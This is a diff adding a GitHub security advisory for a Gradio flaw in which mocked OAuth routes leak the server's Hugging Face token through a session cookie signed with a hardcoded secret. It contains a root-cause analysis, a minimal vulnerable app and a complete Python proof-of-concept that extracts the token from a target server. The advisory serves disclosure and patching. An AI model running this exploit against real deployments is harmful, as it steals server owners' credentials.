diff --git a/advisories/github-reviewed/2026/02/GHSA-h3h8-3v2v-rg7m/GHSA-h3h8-3v2v-rg7m.json b/advisories/github-reviewed/2026/02/GHSA-h3h8-3v2v-rg7m/GHSA-h3h8-3v2v-rg7m.json new file mode 100644 index 0000000000000..97dfc8ed05147 --- /dev/null +++ b/advisories/github-reviewed/2026/02/GHSA-h3h8-3v2v-rg7m/GHSA-h3h8-3v2v-rg7m.json @@ -0,0 +1,74 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-h3h8-3v2v-rg7m", + "modified": "2026-06-05T17:56:29Z", + "published": "2026-03-01T01:00:33Z", + "aliases": [ + "CVE-2026-27167" + ], + "summary": "Gradio: Mocked OAuth Login Exposes Server Credentials and Uses Hardcoded Session Secret", + "details": "## Summary\n\nGradio applications running outside of Hugging Face Spaces automatically enable \"mocked\" OAuth routes when OAuth components (e.g. `gr.LoginButton`) are used. When a user visits `/login/huggingface`, the server retrieves its own Hugging Face access token via `huggingface_hub.get_token()` and stores it in the visitor's session cookie. If the application is network-accessible, any remote attacker can trigger this flow to steal the server owner's HF token. The session cookie is signed with a hardcoded secret derived from the string `\"-v4\"`, making the payload trivially decodable.\n\n## Affected Component \n\n`gradio/oauth.py` — functions `attach_oauth()`, `_add_mocked_oauth_routes()`, and `_get_mocked_oauth_info()`.\n\n## Root Cause Analysis\n\n### 1. Real token injected into every visitor's session\n\nWhen Gradio detects it is **not** running inside a Hugging Face Space (`get_space() is None`), it registers mocked OAuth routes via `_add_mocked_oauth_routes()` (line 44).\n\nThe function `_get_mocked_oauth_info()` (line 307) calls `huggingface_hub.get_token()` to retrieve the **real** HF access token configured on the host machine (via `HF_TOKEN` environment variable or `huggingface-cli login`). This token is stored in a dict that is then injected into the session of **any visitor** who hits `/login/callback` (line 183):\n\n```python\nrequest.session[\"oauth_info\"] = mocked_oauth_info\n```\n\nThe `mocked_oauth_info` dict contains the real token at key `access_token` (line 329):\n\n```python\nreturn {\n \"access_token\": token, # <-- real HF token from server\n ...\n}\n```\n\n### 2. Hardcoded session signing secret\n\nThe `SessionMiddleware` secret is derived from `OAUTH_CLIENT_SECRET` (line 50):\n\n```python\nsession_secret = (OAUTH_CLIENT_SECRET or \"\") + \"-v4\"\n```\n\nWhen running outside a Space, `OAUTH_CLIENT_SECRET` is not set, so the secret becomes the **constant string `\"-v4\"`**, hashed with SHA-256. Since this value is public (hardcoded in source code), any attacker can decode the session cookie payload without needing to break the signature.\n\nIn practice, Starlette's `SessionMiddleware` stores the session data as **plaintext base64** in the cookie — the signature only provides integrity, not confidentiality. The token is readable by simply base64-decoding the cookie payload.\n\n## Attack Scenario\n\n### Prerequisites\n\n- A Gradio app using OAuth components (`gr.LoginButton`, `gr.OAuthProfile`, etc.)\n- The app is network-accessible (e.g. `server_name=\"0.0.0.0\"`, `share=True`, port forwarding, etc.)\n- The host machine has a Hugging Face token configured\n- `OAUTH_CLIENT_SECRET` is **not** set (default outside of Spaces)\n\n### Steps\n\n1. Attacker sends a GET request to `http://:7860/login/huggingface`\n2. The server responds with a 307 redirect to `/login/callback`\n3. The attacker follows the redirect; the server sets a `session` cookie containing the real HF token\n4. The attacker base64-decodes the cookie payload (everything before the first `.`) to extract the `access_token`\n\n\n## Minimal Vulnerable Application\n\n```python\nimport gradio as gr\nfrom huggingface_hub import login\n\nlogin(token=\"hf_xxx...\")\n\ndef hello(profile: gr.OAuthProfile | None) -> str:\n if profile is None:\n return \"Not logged in.\"\n return f\"Hello {profile.name}\"\n\nwith gr.Blocks() as demo:\n gr.LoginButton()\n gr.Markdown().attach_load_event(hello, None)\n\ndemo.launch(server_name=\"0.0.0.0\")\n\n```\n\n## Proof of Concept\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nPOC: Gradio mocked OAuth leaks server's HF token via session + weak secret\nUsage: python exploit.py --target http://victim:7860\n python exploit.py --target http://victim:7860 --proxy http://127.0.0.1:8080\n\"\"\"\nimport argparse\nimport base64\nimport json\nimport sys\nimport requests\n\n\ndef main():\n ap = argparse.ArgumentParser()\n ap.add_argument(\"--target\", required=True, help=\"Base URL, e.g. http://host:7860\")\n ap.add_argument(\"--proxy\", default=None, help=\"HTTP proxy, e.g. http://127.0.0.1:8080\")\n args = ap.parse_args()\n\n base = args.target.rstrip(\"/\")\n proxies = {\"http\": args.proxy, \"https\": args.proxy} if args.proxy else None\n\n # 1. Trigger mocked OAuth flow — server injects its own HF token into our session\n s = requests.Session()\n s.get(f\"{base}/login/huggingface\", allow_redirects=True, verify=False, proxies=proxies)\n\n cookie = s.cookies.get(\"session\")\n if not cookie:\n print(\"[-] No session cookie received; target may not be vulnerable.\", file=sys.stderr)\n sys.exit(1)\n\n # 2. Decode the cookie payload (base64 before the first \".\")\n payload_b64 = cookie.split(\".\")[0]\n payload_b64 += \"=\" * (-len(payload_b64) % 4) # fix padding\n data = json.loads(base64.b64decode(payload_b64))\n token = data.get(\"oauth_info\", {}).get(\"access_token\")\n\n if token:\n print(f\"[+] Leaked HF token: {token}\")\n else:\n print(\"[-] No access_token found in session.\", file=sys.stderr)\n sys.exit(1)\n\n\nif __name__ == \"__main__\":\n main()\n```", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:N" + } + ], + "affected": [ + { + "package": { + "ecosystem": "PyPI", + "name": "gradio" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "4.16.0" + }, + { + "fixed": "6.6.0" + } + ] + } + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/gradio-app/gradio/security/advisories/GHSA-h3h8-3v2v-rg7m" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27167" + }, + { + "type": "WEB", + "url": "https://github.com/gradio-app/gradio/commit/dfee0da06d0aa94b3c2684131e7898d5d5c1911e" + }, + { + "type": "PACKAGE", + "url": "https://github.com/gradio-app/gradio" + }, + { + "type": "WEB", + "url": "https://github.com/gradio-app/gradio/releases/tag/gradio@6.6.0" + }, + { + "type": "WEB", + "url": "https://github.com/pypa/advisory-database/tree/main/vulns/gradio/PYSEC-2026-63.yaml" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-522", + "CWE-798" + ], + "severity": "LOW", + "github_reviewed": true, + "github_reviewed_at": "2026-03-01T01:00:33Z", + "nvd_published_at": "2026-02-27T22:16:22Z" + } +} \ No newline at end of file